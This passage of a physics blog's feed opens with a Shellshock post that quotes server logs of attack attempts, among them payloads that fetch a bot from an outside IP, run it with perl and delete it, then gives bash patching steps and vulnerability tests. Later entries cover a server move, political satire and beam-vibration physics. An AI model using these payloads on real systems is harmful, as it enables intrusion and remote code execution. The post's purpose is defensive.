  593. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  594. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /test HTTP/1.0" 301 383 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  595. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/info.sh HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" -  -
  596. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php HTTP/1.0" 404 359 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  597. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php5 HTTP/1.0" 404 360 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - -
  598. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 404 364 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - -
  599. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /test HTTP/1.0" 404 352 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  600. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  601. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/info.sh HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - -
  602. 66.186.2.175 - - [26/Sep/2014:03:29:41 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 404 363 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  603. ns2.rublevski.by - - [26/Sep/2014:14:39:29 -0500] "GET / HTTP/1.1" 301 385 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=golem.ph.utexas.edu\"" "-" - - -
  604. ns2.rublevski.by - - [26/Sep/2014:14:39:30 -0500] "GET / HTTP/1.1" 200 155 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=golem.ph.utexas.edu\"" "-" - - -
  605. 183.16.111.67 - - [26/Sep/2014:15:09:21 -0500] "GET /category/2007/07/making_adscft_precise.html%0A HTTP/1.1" 301 431 "-" "() { :;}; echo -e 'detector'" "-" - - -
  606. 183.16.111.67 - - [26/Sep/2014:15:09:23 -0500] "GET /category/2007/07/making_adscft_precise.html%0D%0A HTTP/1.1" 301 434 "-" "() { :;}; echo -e 'detector'" "-" - - -
  607. 183.16.111.67 - - [26/Sep/2014:15:09:24 -0500] "GET /category/2007/07/making_adscft_precise.html%0d%0a HTTP/1.1" 404 393 "-" "() { :;}; echo -e 'detector'" "-" - - -
  608. 183.16.111.67 - - [26/Sep/2014:15:09:33 -0500] "GET /category/2007/07/making_adscft_precise.html%0a HTTP/1.1" 404 392 "-" "() { :;}; echo -e 'detector'" "-" - - -
  609. 183.16.111.67 - - [26/Sep/2014:15:11:41 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0A HTTP/1.1" 301 439 "-" "() { :;}; echo -e 'detector'" "-" - - -
  610. 183.16.111.67 - - [26/Sep/2014:15:11:44 -0500] "GET /category/2008/02/bruce_bartlett_on_the_charged.html%0a HTTP/1.1" 404 400 "-" "() { :;}; echo -e 'detector'" "-" - - -</code></pre></blockquote>
  611.  
  612. <p>Some of these look like harmless probes; others (like the one which tries to download and run an IRCbot on your machine) less so.</p>
  613.  
  614. <p>If you&#8217;re not running a webserver, the danger is less clear. There are persistent (but <a href="https://golem.ph.utexas.edu/~distler/blog/archives/002770.html#ShellshockU1">apparently incorrect</a>) rumours that Apple&#8217;s <abbr title="Dynamic Host Configuration Protocol">DHCP</abbr> client may be vulnerable. If true, then your iPhone could <em>easily</em> be pwned by a rogue <abbr>DHCP</abbr> server (running on someone&#8217;s laptop) at Starbucks.</p>
  615.  
  616. <p>I don&#8217;t know what to do about your iPhone, but at least you can patch your MacOSX machine yourself.</p>
  617.  
  618. <p>The following instructions (adapted from <a href="http://nkush.blogspot.com/">this blog post</a>) are for MacOSX 10.9 (Mavericks). The idea is to download Apple&#8217;s source code for <code>bash</code>, patch it using the official <code>bash</code> patches, and recompile.  If you are running an earlier version of MacOSX, you&#8217;ll have to download the appropriate package from <a href="http://opensource.apple.com/tarballs/bash/">Apple</a> and use the corresponding <a href="https://ftp.gnu.org/pub/gnu/bash/">patches for <code>bash</code></a>. Of course, you&#8217;ll need <a href="https://itunes.apple.com/us/app/xcode/id497799835?mt=12">XCode</a>, which is free from the App Store.</p>
  619.  
  620. <p>Fire up <code>Terminal.app</code> and do</p>
  621.  
  622. <blockquote><pre><code>mkdir bash
  623. cd bash/
  624. curl -O https://opensource.apple.com/tarballs/bash/bash-92.tar.gz
  625. tar xzf bash-92.tar.gz
  626. cd bash-92/bash-3.2/
  627. curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 | patch -p0
  628. curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-053 | patch -p0
  629. curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-054 | patch -p0
  630. cd ..
  631. xcodebuild
  632. sudo cp /bin/bash /bin/bash.vulnerable
  633. sudo cp /bin/sh /bin/sh.vulnerable
  634. sudo chmod 0000 /bin/*.vulnerable
  635. sudo cp build/Release/bash build/Release/sh /bin/</code></pre></blockquote>
  636.  
  637. <p>Now you can try (in a new shell)</p>
  638.  
  639. <blockquote><pre><code>echo $BASH_VERSION</code></pre></blockquote>
  640.  
  641. <p>which should yield</p>
  642.  
  643. <blockquote><pre><code>3.2.54(1)-release</code></pre></blockquote>
  644.  
  645. <p>Similarly,</p>
  646.  
  647. <blockquote><pre><code>env x='() { :;}; echo vulnerable' bash -c "echo this is a test"</code></pre></blockquote>
  648.  
  649. <p>should yield</p>
  650.  
  651. <blockquote><pre><code>bash: warning: x: ignoring function definition attempt
  652. bash: error importing function definition for `x'
  653. this is a test</code></pre></blockquote>
  654.  
  655. <p>and</p>
  656.  
  657. <blockquote><pre><code>env X='() { (a)=>\' sh -c "echo date"; cat echo</code></pre></blockquote>
  658.  
  659. <p>should yield</p>
  660.  
  661. <blockquote><pre><code>sh: X: line 1: syntax error near unexpected token `='
  662. sh: X: line 1: `'
  663. sh: error importing function definition for `X'
  664. date
  665. cat: echo: No such file or directory</code></pre></blockquote>
  666.  
  667. <p>Approach these instructions with some caution.</p>
  668.  
  669. <ul>
  670. <li>You absolutely need a working version of <code>/bin/sh</code> for your system to function.</li>
  671. <li>If you have a bunch of machines to update (as I did), you may be better-off copying the new versions of <code>bash</code> and <code>sh</code> onto a thumb drive and using that to update your other machines.</li>
  672. </ul>
  673.  
  674. <div id="ShellshockU1" class="update"><h4>Update (9/28/2014):</h4> Apple has <a href="http://www.imore.com/apple-working-quickly-protect-os-x-against-shellshock-exploit">issued a statement</a> to the effect that ordinary client systems are not remote-exploitable. At least as far as <abbr>DHCP</abbr> goes, that seems to be the case. The <abbr>DHCP</abbr> client functionality is implemented by <span title="/System/Library/SystemConfiguration/IPConfiguration.bundle/Contents/MacOS/IPConfiguration">the <code>IPConfiguration</code> agent</span>, run by <a href='https://developer.apple.com/library/mac/documentation/Darwin/Reference/Manpages/man8/configd.8.html#//apple_ref/doc/man/8/configd'><code>configd</code></a>; no shellscripts are involved (unlike, say, <a href="http://linux.die.net/man/8/dhclient">under Linux</a>). There are other subsystems to worry about (<a href="https://www.cups.org/"><acronym title="Common Unix Printing System">CUPS</acronym></a>, SNMP, &#8230;), even on &#x0201C;client&#x0201D; systems. But I think I&#x02019;ll give Apple the benefit of the doubt on that score.</div>
  675.  
  676. <div id="ShellshockU2" class="update"><h4>Update (9/29/2014):</h4> Apple has finally issued Bash patches for <a href="http://support.apple.com/kb/DL1769">Mavericks</a>, <a href="http://support.apple.com/kb/DL1768">Mountain Lion</a> and <a href="http://support.apple.com/kb/DL1767">Lion</a>. Oddly, these only bring Bash up to 3.2.53, rather than 3.2.54 (which is the latest, and hopefully final, iteration defanging the Shellshock attack).</div>
  677.  
  678.      </div>
  679.    </content>
  680.  </entry>
  681.  <entry>
  682.    <title type="html">Golem V</title>
  683.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002763.html" />
  684.    <updated>2014-09-18T01:10:25Z</updated>
  685.    <published>2014-08-19T15:05:07-06:00</published>
  686.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2763</id>
  687.    <summary type="text">A new Golem, and a new home.</summary>
  688.    <author>
  689.      <name>distler</name>
  690.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  691.      <email>[email protected]</email>
  692.    </author>
  693.    <category term="Computers" />
  694.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002763.html">
  695.      <div xmlns="http://www.w3.org/1999/xhtml">
  696. <p>For nearly 20 years, Golem has been the machine on my desk. It&#8217;s been my mail server, web server, file server, &#8230; ; it&#8217;s run Mathematica and TeX and compiled software for me. Of course, it hasn&#8217;t been the same physical machine all these years. Like <a href="http://www.bbc.co.uk/programmes/b006q2x0">Doctor Who</a>, it&#8217;s gone through several <a href="http://golem.ph.utexas.edu/~distler/blog/archives/002211.html">reincarnations</a>. </p>
  697.  
  698. <p>Alas, <a href="https://www.utexas.edu/its/udc/commodity/index.php">word came down</a> from the Provost that all &#8220;servers&#8221; must move (physically or virtually) to the <a href="https://www.utexas.edu/its/udc/index.php">University Data Center</a>. And, bewilderingly, the machine on my desk counted as a &#8220;server.&#8221;</p>
  699.  
  700. <p>Obviously, a 27&#8221; iMac wasn&#8217;t going to make such a move. And, equally obvious, it would have been rather difficult to replace/migrate all of the stuff I have running on the current Golem. So we had to go out shopping for Golem V. The iMac stayed on my desk; the machine that moved to the Data Center is a new Mac Mini </p>
  701.  
  702. <div class="centeredfigure" style="overflow:auto;height:670px;width:540px;">
  703. <img style="width:540px;height:360px" src="https://golem.ph.utexas.edu/~distler/blog/images/Golem_V.jpg" alt="The new Mac Mini"/><br/>
  704. <img style="width:540px;height:267px" src="https://golem.ph.utexas.edu/~distler/blog/images/Golem_V_side.jpg" alt="side view"/><br/>
  705. <span class="figurecaption">Golem V, all labeled and ready to go</span></div>
  706.  
  707. <ul>
  708. <li>2.3 GHz quad-core Intel Core i7 (8 logical cores, via <a href="http://en.wikipedia.org/wiki/Hyper-threading">hyperthreading</a>)</li>
  709. <li>16 GB <acronym title="Random Access Memory">RAM</acronym></li>
  710. <li>480 GB SSD       (main drive)</li>
  711. <li>1 TB HD          (Time Machine backup)</li>
  712. <li>1 TB external HD (<a href="http://www.bombich.com/"><abbr title="CarbonCopyCloner">CCC</abbr></a> clone of the main drive)</li>
  713. <li>Dual 1 Gigabit Ethernet Adapters, bonded via <a href="http://support.apple.com/kb/PH14045"><abbr title="Link Aggregation Control Protocol">LACP</abbr></a></li>
  714. </ul>
  715.  
  716. <p>In addition to the dual network interface, it (along with, I gather, a rack <a href="http://www.sonnettech.com/product/rackmacmini.html">full</a> of other Mac Minis) is plugged into an <a href="http://www.apc.com/products/family/index.cfm?id=14"><abbr title="Automatic Transfer Switch">ATS</abbr></a>, to take advantage of the dual redundant power supply at the Data Center.</p>
  717.  
  718. <p>Not as convenient, for me, as having it on my desk, but I&#8217;m sure the new Golem will enjoy the austere hum of the Data Center much better than the messy cacophony of my office.</p>
  719.  
  720. <hr />
  721.  
  722. <p>I did get a tour of the Data Center out of the deal. Two things stood out for me.</p>
  723.  
  724. <ol>
  725. <li>Most UPSs involve large banks of lead-acid batteries. The <a href="http://ir.activepower.com/phoenix.zhtml?c=122065&amp;p=irol-newsArticle&amp;ID=1510255">UPS</a>s at the University Data Center use <a href="http://www.activepower.com/upssystems/cleansource/">flywheels</a>. They comprise a long row of refrigerator-sized cabinets which give off a persistent hum due to the humongous flywheels rotating in <em>vacuum</em> within.</li>
  726. <li>The server cabinets are painted the standard generic white. But, for the networking cabinets, the University went to some expense to get them custom-painted &#8230; <a href="http://www.utexas.edu/brand-guidelines/visual-style-guide/color">burnt orange</a>.</li>
  727. </ol>
  728.  
  729. <div class="centeredfigure" style="overflow:auto;height:358px;width:250px;">
  730. <img style="width:250px;height:348px" src="https://golem.ph.utexas.edu/~distler/blog/images/burnt_orange.jpg" alt="Custom paint job on the networking cabinets."/></div>
  731.  
  732.      </div>
  733.    </content>
  734.  </entry>
  735.  <entry>
  736.    <title type="html">Questions</title>
  737.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002703.html" />
  738.    <updated>2014-02-25T03:30:46Z</updated>
  739.    <published>2014-02-24T21:30:34-06:00</published>
  740.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2703</id>
  741.    <summary type="text">What to ask when campaign workers call</summary>
  742.    <author>
  743.      <name>distler</name>
  744.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  745.      <email>[email protected]</email>
  746.    </author>
  747.    <category term="IDiocy" />
  748.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002703.html">
  749.      <div xmlns="http://www.w3.org/1999/xhtml">
  750. <p>My eldest turned 18 and voted in her first Primary election this week. This being Texas, she decided to register as a Republican. Which means that, soon, we will start fielding phone calls from political campaigns. So I drafted a set of questions to ask the earnest campaign workers when they call.</p>
  751.  
  752. <ul>
  753. <li>Where does your candidate stand on 2nd Amendment rights for the unborn? Would he support an extension of &#8220;Concealed Carry&#8221; laws to cover this?</li>
  754. <li>Will your candidate take a firm stand against creeping Government control of our healthcare system, and vote to repeal Medicare?</li>
  755. <li>Does your candidate support traditional marriage, as it&#8217;s defined in the Bible: between one man and up to three women?</li>
  756. <li>Would your candidate support repealing the Capital Gains Tax and replacing it with a Flat Tax on poor people?</li>
  757. <li>Has your candidate&#8217;s position on  &#8230; [name an issue] &#8230; evolved? Because I don&#8217;t believe in Evolution.</li>
  758. </ul>
  759.  
  760. <p>These ought to last us for a little while. More suggestions welcome.</p>
  761.  
  762.      </div>
  763.    </content>
  764.  </entry>
  765.  <entry>
  766.    <title type="html">Lying</title>
  767.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002702.html" />
  768.    <updated>2014-02-24T02:50:14Z</updated>
  769.    <published>2014-02-22T15:55:56-06:00</published>
  770.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2702</id>
  771.    <summary type="text">Undergraduate lab is evil.</summary>
  772.    <author>
  773.      <name>distler</name>
  774.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  775.      <email>[email protected]</email>
  776.    </author>
  777.    <category term="Physics" />
  778.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002702.html">
  779.      <div xmlns="http://www.w3.org/1999/xhtml">
  780. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  781.  
  782. <p>Sometimes, for the sake of pedagogy, it is best to suppress some of the ugly details, in order to give a clear exposition of the <em>idea</em> behind a particular concept one is trying to teach. But clarity isn&#8217;t achieved by outright lies. And I always find myself frustrated when our introductory courses descend to the latter.</p>
  783.  
  784. <p>My colleague, <a href="http://zippy.ph.utexas.edu/~paban/">Sonia</a>, is teaching the introductory &#8220;Waves&#8221; course (<a href="http://www.ph.utexas.edu/undergrad/freshman-sophomore.php">Phy 315</a>) which, as you might imagine, is all about solving the equation</p>
  785.  
  786. <div class="numberedEq" id="e2702:waveeqn"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mn>0</mn><mo>=</mo><mrow><mo>(</mo><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>t</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>&#x02212;</mo><msup><mi>c</mi> <mn>2</mn></msup><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>)</mo></mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>0 = \left(\frac{\partial^2}{{\partial t}^2} &#x2d; c^2 \frac{\partial^2}{{\partial x}^2}\right) u(x,t)
  787. </annotation></semantics></math></div>
  788.  
  789. <p>This has travelling wave solutions, with dispersion relation</p>
  790.  
  791. <div class="numberedEq" id="e2702:dispersion"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mrow><mi>&#x003C9;</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow> <mn>2</mn></msup><mo>=</mo><msup><mi>c</mi> <mn>2</mn></msup><msup><mi>k</mi> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>{\omega(k)}^2 = c^2 k^2
  792. </annotation></semantics></math></div>
  793.  
  794. <p>If you study solutions to (<a href="#e2702:waveeqn">1</a>), on the interval <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">[</mo><mn>0</mn><mo>,</mo><mi>L</mi><mo stretchy="false">]</mo></mrow><annotation encoding='application/x-tex'>[0,L]</annotation></semantics></math>, with &#8220;free&#8221; boundary conditions at the endpoints,</p>
  795.  
  796. <div class="numberedEq" id="e2702:freeBC"><span>(3)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mrow><mfrac><mrow><mo>&#x02202;</mo><mi>u</mi></mrow><mrow><mo>&#x02202;</mo><mi>x</mi></mrow></mfrac><mo>&#x0007C;</mo></mrow> <mrow><mi>x</mi><mo>=</mo><mn>0</mn><mo>,</mo><mi>L</mi></mrow></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\left.\frac{\partial u}{\partial x}\right\vert_{x=0,L} = 0
  797. </annotation></semantics></math></div>
  798.  
  799. <p>you find standing wave solutions
  800. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>A</mi><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>c</mi><mi>k</mi><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  801.   u(x,t) = A \cos(k x)\cos( c k t)
  802. </annotation></semantics></math>
  803. where the boundary condition at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo>=</mo><mi>L</mi></mrow><annotation encoding='application/x-tex'>x=L</annotation></semantics></math> imposes</p>
  804.  
  805. <div class="numberedEq" id="e2702:modes"><span>(4)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mspace width="2em"/><mtext>or</mtext><mspace width="2em"/><mi>k</mi><mi>L</mi><mo>=</mo><mi>n</mi><mi>&#x003C0;</mi><mo>,</mo><mspace width="thinmathspace"/><mi>n</mi><mo>=</mo><mn>1</mn><mo>,</mo><mn>2</mn><mo>,</mo><mi>&#x02026;</mi></mrow><annotation encoding='application/x-tex'>\sin(k L) = 0\qquad \text{or}\qquad k L = n\pi,\, n=1,2,\dots
  806. </annotation></semantics></math></div>
  807.  
  808. <p>The first couple of these &#8220;normal modes&#8221; look like</p>
  809.  
  810. <div class="numberedEq" id="e2702:normalmodes"><span>(5)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="false" rowspacing="0.5ex"><mtr><mtd><semantics><annotation-xml encoding="SVG1.1">
  811. <svg width="240" height="102" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg" xmlns:se="http://svg-edit.googlecode.com" xmlns:math="http://www.w3.org/1998/Math/MathML">
  812. <g>
  813.  <title>Layer 1</title>
  814.  <path id="svg_36902_1" d="m220,101c-100,0 -100,-100 -200,-100" stroke-width="2" stroke="#ff0000" fill="none"/>
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  945.  
  946. <p>To &#8220;illustrate&#8221; this, in their compulsory lab accompanying the course, the students were given the task of measuring the normal modes of a thin metal bar, with free boundary conditions at each end, sinusoidally driven by an electromagnet (of adjustable frequency).</p>
  947.  
  948. <p>Unfortunately, this &#8220;illustration&#8221; is a <em>complete lie</em>. The transverse oscillations of the metal bar are governed by an equation which is not even <em>approximately</em> like (<a href="#e2702:waveeqn">1</a>); the dispersion relation looks nothing like (<a href="#e2702:dispersion">2</a>); &#8220;free boundary conditions&#8221; look nothing like (<a href="#e2702:freeBC">3</a>) and therefore it should not surprise you that the normal modes look nothing like (<a href="#e2702:modes">4</a>).</p>
  949.  
  950. <p>Unfortunately, so inured are they to this sort of thing, that only <em>one</em> (out of 120!) students noticed that something was amiss in their experiment. &#8220;Hey,&#8221; he emailed Sonia, &#8220;Why is the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>n=1</annotation></semantics></math> mode absent?&#8221;</p>
  951.  
  952. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  953. Rather than the 2<sup>nd</sup>-order wave equation, the transverse vibrations of the thin bar are <a href='http://en.wikipedia.org/wiki/Euler%E2%80%93Bernoulli_beam_theory'>governed</a> by a 4<sup>th</sup>-order equation
  954.  
  955. <div class='numberedEq' id='e2702:Euler'><span>(6)</span>
  956. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mn>0</mn><mo>=</mo><mrow><mo>(</mo><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>t</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>+</mo><msup><mi>b</mi> <mn>2</mn></msup><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>4</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>4</mn></msup></mrow></mfrac><mo>)</mo></mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  957.    0 = \left(\frac{\partial^2}{{\partial t}^2} + b^2 \frac{\partial^4}{{\partial x}^4}\right) u(x,t)
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  959. </div>
  960.  
  961. <p>The dispersion relation,
  962. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mrow><mi>&#x003C9;</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow> <mn>2</mn></msup><mo>=</mo><msup><mi>b</mi> <mn>2</mn></msup><msup><mi>k</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>
  963.   {\omega(k)}^2 = b^2 k^4
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  965. admits both real and <em>pure-imaginary</em> wavenumbers. So the general standing-wave solution has the form (for real <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>k</mi></mrow><annotation encoding='application/x-tex'>k</annotation></semantics></math>)
  966. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">[</mo><msub><mi>A</mi> <mn>1</mn></msub><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>A</mi> <mn>2</mn></msub><mi>sinh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>A</mi> <mn>3</mn></msub><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>A</mi> <mn>4</mn></msub><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo stretchy="false">]</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>b</mi><msup><mi>k</mi> <mn>2</mn></msup><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  967.  u(x,t) = [A_1 \cosh(k x)+A_2 \sinh(k x)+A_3 \cos(k x)+A_4 \sin(k x)]\cos(b k^2 t)
  968. </annotation></semantics></math>
  969. &#8220;Free&#8221; boundary conditions for (<a href="#e2702:Euler">6</a>) are a <em>pair</em> of conditions at each boundary,
  970. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mrow><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup><mi>u</mi></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>&#x0007C;</mo></mrow> <mrow><mi>x</mi><mo>=</mo><mn>0</mn><mo>,</mo><mi>L</mi></mrow></msub><mo>=</mo><mn>0</mn><mo>,</mo><mspace width="2em"/><msub><mrow><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>3</mn></msup><mi>u</mi></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>3</mn></msup></mrow></mfrac><mo>&#x0007C;</mo></mrow> <mrow><mi>x</mi><mo>=</mo><mn>0</mn><mo>,</mo><mi>L</mi></mrow></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>
  971.  \left.\frac{\partial^2 u}{{\partial x}^2}\right\vert_{x=0,L} = 0,\qquad \left.\frac{\partial^3 u}{{\partial x}^3}\right\vert_{x=0,L} = 0
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  973. Imposing the boundary conditions at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>x=0</annotation></semantics></math> yields
  974. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>A</mi> <mn>3</mn></msub><mo>=</mo><msub><mi>A</mi> <mn>1</mn></msub><mo>,</mo><mspace width="1em"/><msub><mi>A</mi> <mn>4</mn></msub><mo>=</mo><msub><mi>A</mi> <mn>2</mn></msub></mrow><annotation encoding='application/x-tex'>
  975.   A_3=A_1,\quad A_4 =A_2
  976. </annotation></semantics></math>
  977. To satisfy the boundary conditions at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo>=</mo><mi>L</mi></mrow><annotation encoding='application/x-tex'>x=L</annotation></semantics></math> then requires
  978. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>det</mi><mrow><mo>(</mo><mrow><mtable displaystyle="false" rowspacing="0.5ex"><mtr><mtd><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>&#x02212;</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd> <mtd><mi>sinh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>&#x02212;</mo><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd></mtr> <mtr><mtd><mi>sinh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>+</mo><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd> <mtd><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>&#x02212;</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo 